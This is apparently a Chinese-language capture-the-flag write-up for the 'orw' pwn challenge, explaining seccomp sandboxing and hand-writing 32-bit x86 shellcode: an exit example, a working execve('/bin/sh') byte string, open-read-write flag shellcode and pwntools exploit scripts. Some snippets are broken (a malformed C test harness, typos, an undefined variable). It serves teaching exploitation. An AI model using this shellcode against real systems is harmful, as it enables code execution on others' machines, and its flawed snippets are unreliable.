pwnable_orw(重点为手写shellcode与沙盒orw机制)

1.安全检测

  1. 32位操作系统
  2. Partial RELRO:got.plt可读可写
  3. 无NX堆栈可执行
  4. 无地址随机化
  5. 有读写权限

2.IDA调试


很明显提示写入shellcode这道题连远程时可以调falg文件只需将其读出来存在orw_seccomp函数禁用部分函数的程序调用那么这道题的思路就是利用**_1可通行的函数2手写shellcode3读出flag_**
_

3.什么是orw_seccomp函数沙盒机制

  1. 简介seccomp 是 secure computing 的缩写其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制在 Linux 系统里大量的系统调用system call直接暴露给用户态程序但是并不是所有的系统调用都被需要而且不安全的代码滥用系统调用会对系统造成安全威胁seccomp安全机制能使一个进程进入到一种安全运行模式该模式下的进程只能调用**4种**系统调用system callread(), write(), exit() 和 sigreturn()否则进程便会被终止
  2. prctl 函数

#include <sys/prctl.h> 
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); 

这里有5个参数重点看option就知道它是想干嘛这里主要关注2点

PR_SET_NO_NEW_PRIVS(38)

PR_SET_SECCOMP(22)

我们通俗易懂地理解就是prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用也就是**system和onegadget都没了,还会教子进程也这么干prctl(222)表示设置沙箱规则从而可以实现改变函数的系统调用通行或者禁止这次重点研究沙箱规则设置 seccomp 其实也就是设置沙箱规则**

  1. seccomo-tools的介绍
  • seccomp-tools 是可以帮助我们查看哪些 syscall 被禁止的一个工具
  • linux系统下载命令
    • sudo apt install gcc ruby-dev
    • sudo gem install seccomp-tools
  • 效果
  • openreadwrite三个函数可通行
  1. 思路
  • 通过open函数打开当前目录下的 flag 文件
  • 利用read函数读取文件中的数据
  • 利用write函数将文件中的数据打印到屏幕上

4.如何手撸一个满足题意的shellcode

这里详细讲一下如何手写shellcode以来打下坚实的基础+v+嘿嘿~

1.什么是系统调用

  • shellcode是一组可注入的指令可以在被攻击的程序中运行由于shellcode要直接操作寄存器和函数所以必须是十六进制数的形式
  • 为什么写shellcode因为我们要让目标程序以不同于设计者的预期进行运行而操作程序的方法之一是使程序产生系统调用system call通过系统调用可以直接访问系统内核
  • 在liunx操作系统下有两个方式来执行系统调用间接方式是利用c函数进行包装直接方式是用会汇编指令把适当的参数加载到寄存器之中利用int 0x80···进行软中断叼调用

下面示例exit的系统调用

int main(void)
{
    exit(0);
}               
/*编译时使用static选项<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>防止使用动态链接<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>在程序中保留exit函数的系统调用码*/

gcc -static -o exit exit.c

  • _exit+0行是把系统调用的参数加载到ebx中
  • _exit+4和_exit+15行是把对应的系统参数号分别复制给eax
  • 最后的int 0x80指令是把cpu转到内核模式并执行系统调用

2.为exit系统调用写shellcode

  • 基本了解exit系统调用后开始写shellcode
  • 注意的是应将shellcode尽量写的简介紧凑目的是为了可以将其注入到更小的缓冲区
  • 在实际环境中shellcode将在没有其他指令为它设置参数的情况下执行所i我们要自己来进行参数传递

tips

  1. 32位参数放在栈上编写shellcode时函数传递参数寄存器顺序为a,b,c,d,…..
  2. 64位前六个参数放在寄存器rdirsirdxrcxr8r9中其余的放在栈上

具体步骤

  1. 把0存在ebx中
  2. 把1存在eax中
  3. 执行int 0x80来进行系统调用
Section .text
  global _start
_start:
  mov ebx, 0
  mov ax, 1
  int 0x80

然后用nasm编译生成目标文件再用gun ld来连接

nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o

objdump看opcode


看到shellcode中存在一些**NULL\x00字符当把shellcode复制到缓冲区中时可能出现异常因为字符数组用null做终止符要编写真正有用的shellcode我们务必**把\x00消去

  1. 这里看第一条指令mov eb0将0放入ebx中可以利用xor指令在操作数相等的情况下返回0也就是说可以在指令中不使用0但是结果返回零那么我们就可以用xor来代替mov指令

mov ebx, 0 –> xor ebx, ebx

  1. 再看第二条指令mov ax1为什么这条指令也会有null呢我们知道**eax是32位4字节操作系统的寄存器而我们只复制一个字节到了寄存器而剩下的部分系统会自动用null来填充**熟悉eax组成分为两个16位区域用ax可以访问第一个区域而ax又分为al低八位和ah高八位两个区域那么解决凡是就是只把1复制到al就行
Section .text
    global _start
_start:
    xor ebx, ebx
    mov al, 1
    int 0x80


消除\x00

  1. shellcode测试
  char shellcode[] = "\x31\xdb"
                   "\xb0\x01"
                   "\xcd\x80";
int main(void)
{
    int *ret;
    ret = (int *)&ret + 2;
    (&ret) = (int)shellcode;
}

编译后用strace来查看系统调用


3.编写execve()的shellcode

—–exit可能没什么意思接下来我们做些更有趣的事情-派生root shell来控制整个目标系统
在linux系统中有两种防止可以创建新进程**是通过现有的进程来创建并替换正在的活动**是利用现有的进程来生成它自己的拷贝并在它的位置运行这个新的进程
execve系统调用就是后者

  1. execve调用号是11
  2. 接下来我们需要知道它作为输入的参数用man手册就可以查看
    1.
    1. 3个参数必须包含以下内容
      1. filename必须执行包含要执行的二进制文件的路径的字符串这个例子中就是字符串[/bin/sh]
      2. argv[]是程序的参数列表大多数程序将使用强制性/选项参数进行运行而我们只想执行/bin/sh没有更多的参数所以参数列表只是一个NULL指针但是按照管理第一个参数是我们要执行的文件名所以argv[]就是[‘/bin/sh’00000000]+v=划重点嘞
      3. envp[]是要以keyvalue格式传递给程序的任何其他环境选项的列表为了我们的目的这将是NULL指针\x00000000
  3. 和exit()一样我们使用int 0x80的系统调用注意要在eax中包含execve的系统调用号11
  4. 开始编写shellcode
    5.

这里讲解下为什么要向堆栈中反省推送//bin/sh

  1. 我们知道在x86堆栈中是从高地址到弟子之的所以要输入反向的字符串同样因为4的倍数的最短指令会更容易些.
  2. /bin/sh是7个字节的如何将他变为8个字节呢很简单加个/就ok了+v=因为在linux中/可以作为占位符而存在

用python来生成hs/nib//的十六进制位

之后将分两半塞入栈中即可

  1. 编译成功后用objdump来进行查看

分享一个提取shellcode的指令

objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

  1. shellcode的验证
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
  printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}


get shell+v=

回到本题结合题目要求进行shellcode的构造

  1. open函数的shellcode
  xor ecx,ecx;
  xor edx,edx;
   //初始化//
  push 0x0;        #字符串以\x00结尾 
  push 0x67616c66; #flag十六进制
  mov ebx,esp;     #指向flag的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>进行open
  mov eax,0x5; 
  int 0x80;

tipspush指令会影响esp寄存器的值push指令首先减少esp的值再将源操作数复制到堆栈如果操作数是16位的则esp减2如果操作数是32位的则esp减41

  1. read函数的shellcode
mov ebx,0x3;         //文件描述符
mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>esp指向地址
mov edx, 0x40;
mov eax, 0x3;
int 0x80;

tips0是标准输入1是标准输出2是标准错误这意味着如果此时去打开一个新的文件它的文件描述符是3再打开一个则是4······

  1. write函数的shellcode
mov ebx, 0x1;
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;

EXP

#!/usr/bin/python
from pwn import *
from LibcSearcher import *
a=process("orw")
elf=ELF("orw")
context(arch='i386',os='linux',log_level='debug')


shellcode = asm('''
 xor ecx,ecx;
 xor edx,edx;
 push 0x0
 push 0x67616c66;
 mov ebx,esp;
 mov eax,0x5;
 int 0x80;

 mov ebx,0x3; 
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x3;
 int 0x80;
 
 mov ebx, 0x1;
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x4;
 int 0x80;
                  ''')
print len(shellcode)
a.recvuntil("Give my your shellcode:")
payload=shellcode

a.sendline(payload)
a.interactive()

当然这么麻烦的汇编代码也同时做了集成工具处理=v=但是自己手写下才是最好滴–v=

from pwn import *
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode)

r.interactive()q

周六周天接着上次组会把格式化字符串重新复盘下儿